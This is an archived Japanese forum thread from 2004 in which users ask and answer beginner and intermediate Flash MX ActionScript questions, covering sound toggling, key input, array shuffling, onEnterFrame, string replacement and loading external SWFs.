押したら音楽再生して音楽が再生している間にもう一度押すと 音楽が止まるボタンはどう作れば良いですか? 条件のところをどう書けばいいかが分からないです
フラグが立ってる時だけ再生させればいい。
>>192 新規MCの1フレーム目にstop()とstopallsounds()を入れる。
2フレーム目はstop()のみ。別レイヤーには音楽を置く。
んでボタンを作ってplay()を仕込めば完成。
>>194 ありがとうございます
その製作したMCを本体のフラッシュに置くんですよね?
音楽がオブジェクトに定義したのを使いたいんですが
その方法を使ってやってみようと2フレーム目に新規レイヤーでキーフレームを
作ってsound.start();と書いてみたのですがボタンを押して
ボタンを押してフレームが動いてるのは確認できるけれど音楽が鳴りません
どこが間違えているのでしょうか?
196 :
Now_loading...774KB :04/06/07 01:13 ID:DD/NL/vh
質問です フレームって actionで生成はできないでしょうか? 例えば 1フレームに ムービークリップ hoge1 を 置く 2フレームに ムービークリップ hoge1 & hoge2 を置く goto AndPlay で飛ぶとすでに ムービークリップが置かれている 手作業なら 簡単ですが actionでどうにかならないでしょうか?
>>196 潔く、attacheMovie()使うのはどうだろうか?
>>197 attacheMovie()じゃちょっと実現できそうにないので・・・
囲碁の棋譜再生を 軽く簡単に作れないかなと思いまして
一番軽いのは 手作業で フレームに全部並べて gotoAndPlay なんですが
それをactionで出来たらいいなぁと
そういうのは無理っぽいですね^^;
>>198 また棋譜か!w
サーバーで生成するならそういう風にもできるだろうが、ここで
こういう質問してる時点で、そっちのほうは難しすぎるだろうな。
>>199 どうもすみません
どうしても満足の行くものが出来るまであきらめきれなくて^^;
フレームに全部並べるのがアリなら、 全部1フレーム目に置いておいて、ひとつずつ_visibleをいじっていけばいいじゃない。
attachMovieでいいじゃん。 配列と併用すれば何手戻すとか簡単に出来るよ
>>201 もしくは石のMCを
1フレーム目:なし
2フレーム目:黒
3フレーム目:白
でgotoAndStopで切り替えるとかな
複数のkeyを同時に感知する方法がどうしてもわかりません keypress、keydownともに色々試しましたがどれかひとつしか感知しなくなります ifの入れ子もやったけどダメでした 「二つ以上 key 同時に」とかでぐぐっても、perlとかの解説しか出てこないし、 以前のスレでも同じ質問されてたけど解決しなかったみたいだったし これってもしかしてflashにとっては無理な相談なんだろうか・・・
>>201 それは配列を使う方法ですよね?
>>202 配列を使って計算しながらだと遅くなるので全部ならべれたらなぁと
思ったんですが・・
>>203 表示の処理はそれが一番速いかもしれませんね^^
今悩んでるのは
最初に全部読み込む(棋譜の全ての配置のデータ)でして
>>204 onKeyDownで同時に押されているリストを作る。
onKeyUpでそのリストを消去する。
>>205 > 配列を使って計算しながらだと遅くなるので
なんか根本から間違ってるような・・・
>>207 そうですかね^^;
何か僕が意図を読み違えてるかもしれません
回答者を見下したような匂いが漂って来るんだが
210 :
204 :04/06/07 02:26 ID:???
それは、配列変数を作ってソコに押されたkeyのリストを作るっていうことですよね? でも、どうしても押しっぱなしにしてるとどれかひとつしか感知しなくなるんです・・ ちなみに斜め移動させるのが目的です
211 :
204 :04/06/07 02:28 ID:???
>>206 それは、配列変数を作ってソコに押されたkeyのリストを作るっていうことですよね?
でも、どうしても押しっぱなしにしてるとどれかひとつしか感知しなくなるんです・・
ちなみに斜め移動させるのが目的です
213 :
204 :04/06/07 02:59 ID:???
>>212 こんな命令があったとは・・おかげで一気に解決しました。
ありがとうございます。助かりました
>>215 ボタンのスクリプトを以下のように拡張するのが手っ取り早いかな?
onClipEvent (enterFrame) {
this.onRelease = function() {
baka = (baka == 1) ? 0 : 1;
};
if (baka == 1) {
_root.kaiten();
} else {
if( _root.l0._y != _root.l0.sy ){
_root.kaiten();
}
}
}
スクリプトで音楽のループ再生の指定はどうすればいいのでしょうか?
218 :
Now_loading...774KB :04/06/07 21:16 ID:NWkS4xab
おや?投稿できなかったみたいなのでもう一度。 テキストフィールドの大きさを変えたいのですが、TextField.autoSizeだと、テキストが改行されるところまでの大きさにリサイズされますよね? そうではなく、任意の大きさに指定することって出来ないものでしょうか? win2000 FLASH MX
219 :
215 :04/06/07 23:22 ID:???
>>216 おー。
確かにelse ifで構築すると動いてくれるぽいですねー。
今日は出張で家に戻れないので、後日試してみます!
ありがとうございました。
else if(hoge){ } のほうがすっきりしてて漏れはスキだな
処理系によっては if(i--) がタイミング次第で0を通り越してくれたりするから >0は必ず付けるようになったな・・・
222 :
218 :04/06/08 15:58 ID:lP+sfDGk
すいません、自己解決しました。 参考までに--- TextField.textWidthおよびTextField.textHeightというプロパティがあったんですが、ヘルプには書いてなかったんですけど読み出し専用のようで×。 が、難しいこと考えず、単純に_width、_heightでやったらいけました。 ------------ スレ汚し失礼しました。
〜ボタンスクリプト〜 on(release){ onEnterFrame = function(){ 〜処理〜 if(処理中の条件==true){ delete onEnterFrame } } } のようなスクリプトで制御しています。 所が、ボタンアクションで delete onEnterFrame をした為に、rootで処理しているEnterFrame処理もとまってしまいます。 質問なのですが、例えばここに記述した関数を命名して、その関数を delete onEnterframeのように停止させる事は可能でしょうか? もし可能でしたら記述方法を教えてください。 よろしくお願いします。
>>223 //フレームとかに記述
_global.enterFrameFunc = function() {}
//on(release)の中身
onEnterFrame = function(){
if(hoge!=true){
enterframeFunc()
}
//他の処理
}
>>223 勘違いしてます。
ボタンアクションのonEnterFrameは親MCのと同一。
ボタンアクションでonEnterFrameを再定義した時点で上書きされているので両方止まったように見える。
だからdeleteしてなくてもボタンを押せば_rootのEnterFrame処理は止まってしまうはず。
>>223 の意図した動作をさせるなら、ボタンを空のMCにでも放り込むか、MCでボタンを作る等。
質問っす。 getTimer()を使って経過時間を表示しています。 onClipEvent(enterframe) でリアルタイムに表示している状態でつ。 リプレイで最初からやり直したい時、getTimer()を0から再びスタートさせたいのですがそのままだと継続してしまいます。 onClipEvent(load) に何か書けばclear出来るでしょうか? clear() ではダメでした。 getTimer()リセットの方法があったら教えてちょー。
227 :
223 :04/06/08 17:59 ID:???
>>224 ありがとうございます。
>>225 MCのonClipEvent(enterFrame)内で、それ自身のenterFrame処理を停止させる事も可能と言う事でしょうか?
そうでしたら、是非とも知りたいので記述など教えてください。
>>227 できる。
delete onEnterFrame;
特に今問題が起こってるって訳じゃないのですが、 ちょっと疑問に思ってることを質問させてください。 スクリプトをフレームアクション上に全部書いちゃってるんですが、 これって、将来的にどうなんでしょうか?。。問題とか出てきますかね?。。。 あともう一つ、 function hoge(){ // 処理 }; ←このセミコロンって厳密にはあった方がいいのでしょうか?
>>229 > スクリプトをフレームアクション上に全部書いちゃってるんですが、
> これって、将来的にどうなんでしょうか?。。問題とか出てきますかね?。。。
必要だと思わないからそうなってるだけで、必要と感じれば勝手に覚えようと思います。
> このセミコロンって厳密にはあった方がいいのでしょうか?
どっちでもいい
231 :
デル1 :04/06/08 18:30 ID:mv0M6PJ5
WinXP MX2004 ご講義お願い致します。 a.textにA.B.C.D.Eと入力 on(press){ a.text.split(",")[cnt%field]; ++cnt } で、A→B→C→Dとなりますよね? で、途中で戻りたい時に、 on(press){ a.text.split(",")[cnt%field]; --cnt } で戻したのですが、戻るボタンを押した時、 一度先に進んでから戻ってしまいます。 A→B→戻るボタン→C→B→A(←となる) これを、A→B→C→戻るボタン→B→A とするにはどうしたら良いでしょうか?
232 :
Now_loading...774KB :04/06/08 18:39 ID:lP+sfDGk
>>229 に関連してるかもしれないけど、
this.onEnterFrame = function() {};
っていう書き方って、
onClipEvent(enterFrame){};
と比べて、どういう利点があるの?
>>232 ライブラリに存在しないMCをASで作った場合、上の書き方でないと埋め込めない。
>>230 どもです。
他の人がフレームばっかにスクリプトを書いてるファイルをみて、
どう思うかとかも気になったりするのですが。
セミコロンは気分ですかね・・。
>>232 動的に動作を変更できる、、、ですかね。
function hoge(){ // 処理 }←無いのが正しい hoge=function (){ // 処理 };←あるのが正しい 気分でつけても消しても自動フォーマットで正しい方に書き換えられるよ
>>235 どもです。
今からちゃんとその通りにしたいと思います。
ありがとうございました。
>>232 >>233 フレームスクリプトとクリップスクリプトの違いだね。
タイムラインに書くかMCのインスタンスに書くかの違い。
厳密には実行される順番が違ったりする。
WinXPでMX2004を使用しています。 「hoge1_mc」〜「hoge9_mc」の規則で命名した9つのMCを、 それらとは別に配置したボタンを押す毎にランダムに並べ替えたいのですが、 いまいちイイ方法が思いつきません。 例) [ボタン] [mc1][mc2][mc3][mc4][mc5][mc6][mc7][mc8][mc9] ↓(ボタンを押す毎に) [ボタン] [mc7][mc9][mc4][mc5][mc2][mc1][mc8][mc3][mc6] (ランダムに並べ替える) どなたか考え方のヒントなどいただけるとありがたいです。 よろしくお願いします。
a=new Array(1,2,3,4,5,6,7,8,9) b=new Array() while(a.length){ b.push(a.splice(Math.floor(Math.random()*a.length)),1) }
>>238 配列にMC入れる
配列内をランダムに入れ替える
順番に横位置を変えていく
みたいな
>>239 レスありがとうございます、spliceというのは配列の置換なんですね。
sortやreverceしか知らなかったので、まだまだ勉強が必要というですね。
助かりました、頑張って作ってみます。
242 :
241 :04/06/09 14:28 ID:???
なんか
>>241 は変なこと言ってますね、spliceがイコール置換ってわけではないですね。
とりあえず頑張ってみます。(; ´Д`)
>>239 たまにこの処理書き込む奴いるけど同じ奴?
MX2004なら動くのかも知れんけど使えないよw
a=new Array(1,2,3,4,5,6,7,8,9) b=new Array() while(a.length){ b.push(a.splice(Math.floor(Math.random()*a.length),1)[0]) } やるならこうだろ
work使ったランダム置換がNonaka氏の解答だったな 前スレにリンクが貼ってあったはず
MX使用 a = new Array(1, 2, 3, 4, 5, 6, 7, 8, 9); b = new Array(); while (a.length) { b.push(a.splice(Math.floor(Math.random()*a.length), 1)); } trace(b); 問題無く作動。
>>243 ×:b.push(a.splice(Math.floor(Math.random()*a.length)),1)
○:b.push(a.splice(Math.floor(Math.random()*a.length),1)
>>239 が間違ってるだけで、仕組み的にはMXでも動くよ。
コピペだけして意味考えない思考停止状態に慣れちゃだめ。
Array.prototype.suffle = function(flg) { var ary = (flg) ? this.concat() : this; var len = this.length; var idx, work; while (len) { idx = Math.floor(Math.random()*len); work = ary[--len]; ary[len] = ary[idx]; ary[idx] = work; } return ary; } a=new Array(1,2,3,4,5,6,7,8,9); //自身を置き換えずにシャッフル b = a.suffle(true); trace(a); trace(b); //自身を置き換えてシャッフル a.suffle(); trace(a);
シャッフル議論うざいよ
>>248 splice使うより速くてゴミも出ないからこっちが正解だな
prototype使ってる時点で古い。わざわざクラスを拡張する例を持ち出さなくてもいいだろ
クラス化しなくてもspliceよりかはいいだろ
spliceの方が分かりやすい。
シャッフル議論うざいよ
ひとさまにソース公開する予定があるならより良い方を使わないと恥ずかしいね そうでないのならどっちでもいいかな
ワッフルってうまいよ
こんにちわ、質問です。 ContextMenuクラスを使用して、右クリックメニューを非表示にするコードを書いた場合、 ContextMenuクラスを認識できないバージョンの古いプレイヤーでは、 その部分が無視されて通常通りの挙動になると考えてよいのでしょうか? 皆さん、古いプレイヤーへの配慮はどのように行っていますか? バージョン毎の表示確認等にいい方法があれば併せてお伺いしたいです。 よろしくお願いします。
259 :
258 :04/06/10 11:35 ID:???
>>258 はなんかちょっと質問がおかしいですね。。。
パブリッシュ設定でプレイヤーのバージョンを7にした場合、
例えばプレイヤー6で表示させようとするとどのような挙動になってしまうものなのでしょうか?
でもこの質問だとちょっとスレ違いになってしまいますね。
混乱していてすみません。(; ´Д`)
261 :
Now_loading...774KB :04/06/10 20:19 ID:FEk0xKdL
mx@98なんですが・・・ ある一点からカーソルの位置まで線を引く(カーソル移動したらそれに併せて線を移動する)にはどうしたらいいんでしょう・・・?(´・ω・`)
onClipEvent (enterFrame) { clear(); lineStyle(5, 0x000000, 100); moveTo(100, 100); lineTo(_root._xmouse-_x, _root._ymouse-_y); }
263 :
Now_loading...774KB :04/06/10 20:54 ID:xhYdqeIM
264 :
Now_loading...774KB :04/06/10 21:42 ID:9nzsqwD1
265 :
264 :04/06/10 21:48 ID:9nzsqwD1
>>264 同じ条件下で動いたり動かなかったりするということですか?
それとも、別のPCや別のPlayerで動いたり動かなかったりということですか?
ふと思ったんですが質問する際にOSを書く理由はなに? Win or MACってことならわかるんだけど。
色々在るんだよ。温度とか。
マジレスすると、湿度が重要。
270 :
Now_loading...774KB :04/06/10 22:52 ID:wFDapfWP
あるMCにloadMovieでmc.loadMovie("x.swf"); をしてロードしましたx.swfのonEnterFrameを捕まえたいのですが ロードされた後にmcを使ってmc.onEnterFrameとしてもつかまりません 考え方が間違っているようです、ご教授を
>>270 捕まると思うので頑張ってください。
if (typeof(mc.getBytesTotal())=="number" && mc.getBytesLoaded()==mc.getBytesTotal()) {
mc.onEnterFrame = hoge;
}
272 :
270 :04/06/10 23:38 ID:wFDapfWP
空のムービクリップをscreen_mcとして ここに外部swfのgaibu.swfを if (typeof(screen_mc.getBytesTotal()) == "number" && screen_mc.getBytesLoaded() == screen_mc.getBytesTotal()) { screen_mc.loadMovie("gaibu.swf"); } で空のMCにロードして その下で screen_mc.onData = function() { trace("読み込み完了"); screen_mc.onEnterFrame = hoge; }; としたのですがダメです・・・ まずtrace("読み込み完了");が出力されません・・ スクリプトや空MCなど全て同フレームにあります。
>>272 if (typeof(screen_mc.getBytesTotal()) == "number" && screen_mc.getBytesLoaded() == screen_mc.getBytesTotal()) {
screen_mc.loadMovie("gaibu.swf");
}
この難解なバグをまず理解しよう。
なぜロードしてないのにロードのチェックを先にしてるのか。
//1フレーム目 loadMovieによる呼び出しや、関数の宣言などの初期化部 //2フレーム目 空のキーフレームのみ //3フレーム目 if (typeof(mc.getBytesTotal()) == "number" && mc.getBytesLoaded() == mc.getBytesTotal()) { mc.onEnterFrame = hoge; } else { this.gotoAndPlay(this._currentframe-1); }
275 :
270 :04/06/10 23:54 ID:wFDapfWP
まずフレームに置いてある空のMC・screen_mc がロードされたらscreen_mc.loadMovie("gaibu.swf"); で 外部MCをロードしてscreen_mc.onData = function() で外部MCのロードが終了という解釈なのですが違いますか? ちなみにgaibu.swfはきちんと表示はされています、あと if文のチェックをはずしてscreen_mc.loadMovie("gaibu.swf"); でもscreen_mc.onDataは機能しません・・ですがgaibu.swfはきちんと表示はされています。 表示されたと言うことはscreen_mc.onDataが引っかかるはずでは・・・
loadMovieされたらロードした直後にイベントハンドラ(on〜)はそのswfのものに置き換わる つまりロードされた後にしかそれらは代入できない attachMovieじゃだめなの?それなら引数を渡せたはず
277 :
270 :04/06/11 00:10 ID:r8y89QOn
出来ればアタッチではなく外部swf読み込みで処理したいのですが 実際は読み込みは成功していて外部swfムービも再生しています が再生が終了したらを onEnterFrameの中で total = screen_mc._totalframes; current = screen_mc._currentframe; if(total == current){ } でアニメが終了したらって処理をしたかったのですが onEnterFrameがうまくつかまらなかったのです。 274,276さん のやり方を明日試しています。 自分asを完璧に把握しておらず試行錯誤しながらやっているので バクスパイラルにはまりそうです・・
>>266 一回FlashMX2004を終了して、flaファイルを開いてパブリッシュするとできたりします・・・。
環境の問題なのかな・・・
とうほう、Win2000proですが・・・
MX2004使用
メインとなるmain.swfは一般に配布し、所持した人はそれをいつでも
見れる環境とし、main.swfを開いた時、ボタン処理で外部.swfを読込む
というものを作成しています。ただ、外部.swfの内容は常に変わり、
その都度外部.swfを配布するのは面倒なので、自分のサーバーに外部.swf
を置いて、それを読込ませる方法がないかと考えています。現在、
1フレーム目に「this.stop();」と書いて止め、1フレーム目に配置した
ボタンに
on(press){
stage.loadMovie("
http://www 〜外部.swf");
とし、自分のサーバー上にある外部.swfを読込ませるようにと
思ったのですが、できません。基本的に、外部からswfを読込む
場合は、同ディレクトリ内等に置かないと、読込む事はできない
のでしょうか。
簡単に言いますと、ネット上にあるswfを、外部swfとして読み込み
たいって事なんですけど^^;
んと。 パブリッシュで吐き出したHTMLの<head></head>内に <script langage="JavaScript"> <!-- 読みこみ関数 //--></script> と思ったけど、生SWF配布なのね・・・。 うーん。
>279 あれ?普通に読み込めなかたっけか?
282 :
Now_loading...774KB :04/06/11 19:05 ID:QNaSfXuO
フラッシュとjavascriptで変数の値をやり取りすることって出来ますか?
できるよ
284 :
Now_loading...774KB :04/06/11 19:42 ID:QNaSfXuO
いま、MX2004を使っています。恐らく、、、 かなり初歩的な質問だと思うのですが。 if ( hoge > 10 ){ //hogeが10より大きかったら屁をする おならプゥ〜 } とする場合で、10とある数字をテキストボックスで 操作したいのですが、、、いま、こんな風に書いたのですが↓ hoge.text配置//ここに、いつでも変えれる状態で好きな数字を入れる if ( hoge > hoge.text ){ おならプゥ〜 } 屁がでませんふっ;; 確か、以前リファレンスで、「テキストボックスの 値を変数とする?」みたいな事を見たのですが、探しても見つからなくて。。。 どなたか教えて下さいましっm(_ _)m
フォントツールから、テキスト入力を選んでテキストフィールドを作る。 そのテキストフィールドを黒矢印で選んで、プロパティインスペクタの変数って所に変数名を書く。hoge だね。 後は、hogeを判定する作業が必要なんdなけど、ここは個人差が大きくて、 テキストフィールドをMCにする人もいれば、フレームアクションでやる人もいる。 監査用の空MCから参照する方法もある。 どの道、onEnterFrameで監査し続けていれば、hoge>10 となった時に おならプゥ〜 となる。
>>286 できましたっ!マジで多謝っm(_ _)m
288 :
Now_loading...774KB :04/06/13 12:40 ID:F99qZib+
悩んでおります お助けを。 ひし形マップの上でキャラの座標を四角マップ(2次元配列)に変換できなくて 困っております。(ひし形→配列) ↓逆の マップ配列データからひし形への変換はできたのですが・・(配列→ひし形) X=( 300+( 30*Mx ))-( 30*My ); Y=( 50+( 20*My ))+( 20*Mx ); Mx,Myが配列中の横、縦座標です。 (配列:10X10) X:300、Y:50はひし形マップの頂点のマスの真ん中の座標です。 ひし形マップと配列の対応順はひし形の頂点が0,0 右斜め下に向って 1,0 ・・・ 2,0 ・・・ 3、0 ・・・となります。 ・・・こんな説明でわかってもらえただろうか(汗 よろしくお願いいたしまする。
配列って何さ。 Arrayクラスで記述してある物で制御してあるって意味? 配列の構造体を取得してるって事・・・? でも座標って概念はおかしいから、きっと違うんだろうな。 ひし形で頂点の座標が求めたいって言うなら getBounds()で構造体として取得すれば良いとは思うけど。 もうちっと詳しく説明してちょ。 もしくは似たようなFLAで解説してくれてもイイ
290 :
289 :04/06/13 12:58 ID:???
localToGlobal() を経ないとダメか。 とりあえず説明待ちしようっと。
291 :
288 :04/06/13 13:22 ID:???
>>289 レスどーもです!
>>Arrayクラスで記述してある物で制御してあるって意味?
その通りです。 説明不足ですいません。
モノはひし形マップ上で敵を戦うゲームです。
ひし形マップはArrayで2次元の配列マップデータとして作り 画面に
割り当て(表示)てます。 やりたい事というのは・・ひし形マップ上を
動き回るキャラ(自分で操作)の座標を配列マップに変換し オン/オフ等の
情報を得たいという事です。
そうする事で地形を利用した攻撃や その他色々にも利用できるのでは?
と考えております。
配列マップデータって何よ・・・。 その2次元ってのが、平面図形って意味での2Dなのか、多次元配列の意味なのか分からない。 a=[1,2,3][4,5,6] が2次元配列。 シミュレーションゲームで、駒を動かす感覚なのかなぁ。 アクションゲームなのか、シミュレーションなのかで大きく変わるしなー。 もしシミュレーションなら、全部の画像と絵をフレーム毎にブチ込んで一つのMCを作って、 配列から制御してgotoAndStopさせるってのが王道だとは思うけど。 MCの命名が必要になるとは思うけどさ。
293 :
288 :04/06/13 15:04 ID:???
>>292 すんません・・・
>>平面図形って意味での2Dなのか
その通りです。こんな↓感じです。 文字列の数値を1個づつ取り出して
2次元配列に入れております。 とにかくこちらの勉強不足で説明も満足に
できていない状況であります。 精進して出直して来ます。
ありがとうございました〜!
//マップ
M[0]= "111101111";
M[1]= "101121101";
M[2]= "112121211";
M[3]= "111101111";
M[4]= "022000220";
M[5]= "111101111";
Map[y][x]=M[i].charCodeAt(x);
>>288 一応回答
Mx=4*(25+X/15+Y/10)
My=4*(15-X/15+Y/10)
動作確認はしてないけど。
中学数学で解けるよ
>>294 間違えた。
Mx=(25+X/15+Y/10)/4
My=(15-X/15+Y/10)/4
かな。
波紋表現が出来ん! 一日悩んでる・・・
どんな波紋?
まずは呼吸法から。
表現だからその答えはおかしいだろう。 ツェペリに弟子入りするのはもう少し後。 波紋つっても、色々ある訳で。 黒い線で何重にも書いて(当然外に行けば透明度増す)、それのwidth.heightを拡大させて行くだけでも波紋ぽくなるし。 どんな波紋かを書こう。
くっつく波紋とはじく波紋が出来ません。 一日悩んでる・・・
いや、わかんないし。
302 :
296 :04/06/15 18:10 ID:???
すくりぷと
304 :
296 :04/06/15 22:39 ID:???
>>302 どっかにもっといいサンプルあったべ。
確か画像を任意に真っ二つにするASとか置いてるとこだった気がするけどどこだったっけなぁ
306 :
198 :04/06/16 08:50 ID:???
んー なんともならないなぁ^^;
波紋も幽波紋も俺にはできません。 みなさんはどのように発動してるのでしょうか?
変なマスク付けて油柱登ったら出来るようになったよ。 まぁ、ワイングラスにスパゲティで穴開ける程度だけど。
変なシルクハット被ったおっさんに腹殴られたらできるようになったよ。
310 :
Now_loading...774KB :04/06/16 13:28 ID:p1x8Bz+w
わけわからんスレになってますなぁ
この前、失敗してカエルが・・・・ (((( ;゚Д゚)))ガクガクブルブル
MX2004つかってます。 ActionScriptで動的にObjectをつくりたいんだけど、 たとえば、配列に[["name","age","address"],["hoge",10,"hogehoge"]] って 属性名と値が入っていて、 こいつを元に、 Obj { name:"hoge" age:10 address:"hogehoge" } てなオブジェトをつくりたいのですが、 可能ですか? よろしくお願いします。
オブジェクトって言い方が広義過ぎて、何を示しているのか分からない。 2次元配列って事なんだろうけどさ。 そもそも、その配列から拾った文字列を表示させたいのかな? もうちっと皆が分かる感じで説明よろしく。
314 :
312 :04/06/16 14:32 ID:???
>313 わかった具体的に説明するから 最初の説明は忘れてください。 配列でも、XMLでもなんでもいいだけど、 属性名と値がセットになったデータがあって、 そいつから、ActionScriptでいうところのオブジェクト obj = new Object(); ↑こいつ をつくりたいのです。 例 ---------------------------------------- <RECODE> <name>hoge</name> <age>10</age> <address>hogehoge</address> </RECODE> 上記のような、XMLから プロパティー name,age,address をもったオブジェクトをつくりたいということ です。
>>314 可能だよ。
myObj = new Object();
pro = "name";
val = "hoge"
myObj[ pro ] = val ;
って感。
ってこういうことだよね?
316 :
312 :04/06/16 14:46 ID:???
>315 サンクス。すぐに解決した。ちょっと感動。
317 :
312 :04/06/16 14:53 ID:???
もうひとつ教えてください、 MX2004で PHP,RUBY,JAVAなんかで直列化したobjectを AS側で復元するたのクラスなんか存在したりしますか? 自分で書かなきゃだめ?
318 :
Now_loading...774KB :04/06/16 14:54 ID:lCQ5+Amk
>307 何年か前杜王町いって、矢みたいなので怪我してからつかえるようになった
>>317 うん。駄目。誰かが造ってるかもしれないけど知らん
imac9 flash5です。 質問願います。ゲームを作ろうと思って、 主人公を←↑→ボタンで動かしたいのと 物に当たると止まるようにするにはどう記述すればいいでしょう。 初歩的ですがお願いします。
>>321 このスレで全てを習得するのは無理があると思う。
とりあえず、そういう系統の本を一冊買ってみてはいかが?
>>321 とりあえずあなたはどこまで作れますか?
ASでムービークリップを動かすことは出来ますか?
その場合、移動量を条件に応じて変化させることは出来ますか?
キーボードからのイベントを拾うって言われて意味分かりますか?
>>324 まずは附属のチュートリアルからどうぞ。
・方向キーを押したら移動しますよ。 ・衝突したら止まりますよ。 この二つのASを起こせないのであれば、AS初心者サイトで勉強すべし。
328 :
Now_loading...774KB :04/06/17 14:59 ID:9tcEIpau
今日も大漁だなぁ
330 :
Now_loading...774KB :04/06/17 21:23 ID:CXLrca7Y
ある文字列の中のある文字をある文字に置き換えいたのです。 つまりJavaScriptでいうreplaceをやりたいのです。 ActionScriptではどうするのでしょうか? JavaScriptと互換性があるというから簡単にできるとおもったのに... FLASH-MXです。よろしくお願いします。
>>330 今使ってないけど、昔文字列置換欲しくて、作った奴があったから晒してみる。
昔作った奴だから、効率とかかなりいい加減かも・・・。
cStr : ある文字列
bStr : ある文字列
aStr : ある文字列
function strperm( cStr, bStr, aStr){
var answerStr = "";
if(cStr != null && bStr != null){
while(cStr.length >= bStr.length){
index = cStr.indexOf(bStr);
if(index == -1){break;}
answerStr = answerStr + cStr.substring(0,index) + aStr;
cStr = cStr.substring(index + bStr.length, cStr.length);
}
answerStr = answerStr + cStr;
}
return answerStr;
}
誰かエロい人、手直しとかしてくれたりしたら嬉しい。
>>331 function strperm(cStr, bStr, aStr) {
return cStr.split(bStr).join(aStr);
}
333 :
330 :04/06/17 22:45 ID:???
>>330 ありがとうございます。変換できました。
>>331 う、短い。
なんでこれで置き換えが出来るのか理解できん。
教えてエロい人。
334 :
330 :04/06/17 22:47 ID:???
番号ズレてました。 330 >> 331 331 >> 332 でした。
335 :
331 :04/06/17 23:04 ID:???
>>332 うひ。目からうろこ。
ありがとうございました。
>>332 すごいなぁ
これくらい出来れば自分で 棋譜再生もつくれるかなぁ
全置換なのかOFFSET可能な置換なのかで関数は変えたほうがいいかもね
338 :
Now_loading...774KB :04/06/18 03:52 ID:F3sKNPV5
OFFSET可能な置換ってなあに、教えてエロい人。
開始位置の指定のこと
340 :
Now_loading...774KB :04/06/19 17:44 ID:VK1wHok/
z軸の表現はどうすればいいでしょうか?
定数で割る
342 :
Now_loading...774KB :04/06/20 12:19 ID:vbQPltyo
>>341 詳しく
ASサッパリなので、漏れも全然解らないです。
>>342 何のことは無い。
スクリーン上のX座標 = 空間X座標*定数/空間Z座標
算数が解らないなら、しぼん。
344 :
Now_loading...774KB :04/06/21 22:38 ID:MoxYzu6d
フレームアニメについて不可解な現象が起こり疑問に思っております。 どなたか知っている方がいましたらご教授のほどを。 (キャラMC) ラベル |生存 |死亡 | +−−−−−−−−−−−−−−−−−−−+ AS |。 。| +−−−−−−−−−−−−−−−−−−−+ アニメMC |. |....... | ↑生存ラベルのスクリプトには this.stop(); 死亡ラベルの最後は死亡フラグを戻す 敵MCから(キャラMCの)死亡フラグが立つとメインタイムラインから _root.キャラ.gotoAndPlay("死亡"); 死亡時のアニメが流れた後1フレーム目に戻って停止 ・・・となるはずですが 複数の敵から連続で攻撃を受けた場合 死亡ラベルで再生ヘッドが 止まってしまうのです なぜなのでしょう?
345 :
344 :04/06/21 22:39 ID:???
ごめん ズレまくり
346 :
344 :04/06/21 22:50 ID:???
補足: _root.キャラ.gotoAndPlay("死亡"); は連続で行っているわけでは ありません。 当たり判定直後の1回のみです。 (敵MCからメインタイムラインの関数化したサブルーチンを実行)
>>344 簡単なデバックな方法。
死亡になる条件が発動したら
trace(this._name + " より死亡命令発動! ");
死亡のラベルのところで、
trace("死亡実行!");
死亡処理終了で
trace("死亡処理終了");
で、パブリックプレピュー実行してみて考える。
デバッカ使うなら、怪しい場所でブレークポイント挿入してみる
347氏の方法はよくとるのでご賞味あれ>346 でもま、バグとり作業は デバッグ(debug)ですよ、と^^;アオリジャナイデスガ flashでは1フレーム目AS実行せず、などでも有名なほど 遅延やカットバシなどアレが多いです。 traceによるデバッグオススメです
349 :
344 :04/06/22 14:56 ID:???
あの後色々やってみまして 死亡ラベルの最後にフラグを戻した後 this.gotoAndStop("生存"); を入れたら不可解な現象は起こらなくなりました。 しかし理由がわからん・・・こんなの入れても入れなくても同じ事じゃん!? ちなみにデバッガで動きを追ってみましたら 連続で攻撃を受けた時のみ (ブレイクポイントを入れていないのに!!)this.stop(); で一時停止し その後 死亡ラベル(ここにブレイクポイント入れた)で再生ヘッドが止まったままでした。 処理がズレて 死亡ラベルの最初で this.stop();したという事なのか? 謎です。 348さんの言う >>遅延やカットバシなどアレが多いです。 ・・で納得する事にします。 みなさんありがと〜。
351 :
Now_loading...774KB :04/06/24 21:01 ID:OC/eltDc
なんかテキストファイル変になってますね・・・内容は以下になります。 para1point=20 ¶2point=18 ¶3point=15 ¶4point=13 ¶5point=10
&とparaで¶になるのか。勉強になったw スレ汚しスマソ
fla見る余裕ないので適当に。 テキストに改行を入れない para1=20¶2=18&… て感じにする。 改行を入れるには何か工夫が必要だったハズ。 詳しい人ヨロ
\n
356 :
351 :04/06/24 22:31 ID:???
テキストの改行を無くしたら綺麗さっぱり問題解決しました。 ありがとうございます。
357 :
Now_loading...774KB :04/06/24 22:39 ID:+QhD6jEE
すみません。getURLについて教えて下さい。 作りたいのは以下の2種類です。 ・リンク先を「http」からではなく、同じフォルダに入った”ファイルの名前(相対パス)で指定する”方法。 ・アクションスクリプトとJAVAスクリプトの合わせ技で、 ポップアップ(サイズを指定した新しいウインドウに表示)するスクリプト。 なおかつ、”htmlではなくswfファイルに直接”リンクを張る方法。 両方とも、ボタンなどを使わず、自動的にリンク先が表示されるようにしたいのですが ムービークリップと「onClipEvent」の組み合わせだと上手くいかないんですよね。 これも、ご存知だったら教えていただきたいです。 以上、よろしくお願いします。
ブラクラは止めろ。
Script切ってAcriveXだけ有効にしてるから俺では見れないなw
FSCommandだかそんなので出来たような気がする 詳細は忘れたが
361 :
Now_loading...774KB :04/06/24 23:49 ID:nLqtXImn
getURL("javascript:newwin1=window.open('
http://www.yahoo.co.jp/ ','window3','toolbars=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=700,height=500,left='+(screen.width-700)*0.5+',top='+(screen.height-500)*0.5+'');void(0);");
ポップアップはこんな感じ
だからー。 利用者にとって悪い事だらけの指南は止めておけって。
んー すみません 下手すると ブラクラになるので気をつけてください
364 :
Now_loading...774KB :04/06/24 23:58 ID:MK43ujGw
質問させて頂きます。 a,b,w1はMCです。aへのオブジェクトアクションで if(this.hitTest(_parent.w1)){Flag=true} と i=1; if(this.hitTest("_parent.w"+i)){Flag=true} は両方うまくいきました。が if(this.b.hitTest(_parent.w1)){Flag=true} はうまくいったのに i=1; if(this.a.hitTest("_parent.w"+i)){Flag=true} はダメでした。なぜでしょう?なんか凡ミスでしょうか?
364で書き忘れましたが a,w1はステージにありbはaの中にあります。 フラッシュ5、MacOs9.1です。
>>364-365 _root.a.aというMCが無いのならそのコードは動かないよ
thisとは_root.aを指してるわけだから
367 :
ow_loading...774KB :04/06/25 00:17 ID:qA+d4tDS
